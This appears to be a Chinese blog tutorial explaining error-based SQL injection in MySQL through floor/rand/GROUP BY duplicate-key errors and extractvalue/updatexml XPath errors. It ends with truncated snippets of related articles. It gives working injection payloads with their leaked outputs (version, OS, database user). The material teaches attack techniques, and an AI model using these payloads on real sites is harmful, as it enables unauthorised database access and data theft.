報錯注入基礎

2021-10-04 01:35:57 字數 2880 閱讀 2751

怎麼利用報錯注入?讓錯誤資訊可以顯示資料庫中的內容

接下來我們要用到

1、floor()、group by對rand()函式進行操作時產生錯誤

2、extractvalue()

xpath語法錯誤產生報錯

3、updatexml()

xpath語法錯誤產生報錯

報錯注入方法

floor()

報錯需要count(*),rand()、group by、floor()。

如果單純的select rand();出現的結果是0-1內的隨機數,且每次出現的結果不同

當提供了乙個種子引數0後,mysql> select rand(0);,結果都相同

floor()返回小於等於該值的最大整數,因為rand() 是返回 0 到 1 之間的隨機數,那麼乘 2 後自然是返回 0 到 2 之間的隨機數,再配合 floor() 就可以產生確定的兩個數了。也就是 0 和 1。

查詢的時候有group by,如果使用rand()的話,該值會被計算多次

一般是一條查詢執行一次rand(),那麼什麼時候rand()被計算多次?

group by進行分組時,floor(rand(0)*2)執行一次(檢視分組是否存在),如果虛擬表中不存在該分組,那麼在插入新分組的時候floor(rand(0)*2)就又計算了一次,插入的是新值

floor(rand(0)*2)執行出來的結果也是固定的,

mysql>

select

count(*

)from information_schema.

tables

group

by concat(

(select version())

,floor(rand(0)

*2))

;error 1062

(23000

): duplicate entry '5.5.44-0ubuntu0.14.04.11'

forkey

'group_key'

當和group by一起使用時,第一次計算出0,虛擬表中不存在改分組,再進行計算,計算出來的是1,將1插入新分組中,插入後再進行計算得到1,此時分組存在,count加1,再進行第四次計算,計算值為0,沒有改分組,於是計算第五次,第五次計算的時候出現問題。因為第五次計算的結果為1,此時存在對應的分組,不能插入新分組,所以會報錯。

所以我們可以利用這個錯誤,想查什麼放到concat的第乙個引數中就可以了,目的是讓他報錯,然後讓兩個一起通過錯誤資訊展示出來就ok了

'  and (select count(*) from information_schema.tables group by concat((select version()),' ~',floor(rand(0)*2)))%23

duplicate entry '5.5.44-0ubuntu0.14.04.1~1'

forkey

'group_key'

'  and (select count(*) from information_schema.tables group by concat((@@version_compile_os),' ~',floor(rand(0)*2)))%23

duplicate entry 'debian-linux-gnu~1'

forkey

'group_key'

extractvalue()xpath語法錯誤產生報錯

extractvalue():從目標xml中返回包含所查詢值的字串。

extractvalue (xml_document, xpath_string);

第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串)

第二個引數 xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

' and (select extractvalue(null,concat('~',(select user()),'~')))%23

xpath syntax error: '~root@localhost~'

以非法的xpath格式的字元作為開頭

updatexml()

xpath語法錯誤產生報錯

和extractvalue相比多了乙個引數

' and (select updatexml(null,concat('~',(select user()),'~'),null))%23

xpath syntax error: '~root@localhost~'

如果太長則不能全部返回,可以使用substr來擷取

SQL注入基礎 3 報錯注入

1 考慮使用報錯注入 url url 由於多了乙個 sql語句執行時會報錯。而這裡程式直接將錯誤資訊輸出到了頁面上,所以可以利用報錯注入來獲取資料。2 獲取user 的值 報錯注入有多種格式,這裡使用updatexml 函式,其中0x7e為ascii編碼,解碼為 語句 and updatexml 1...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...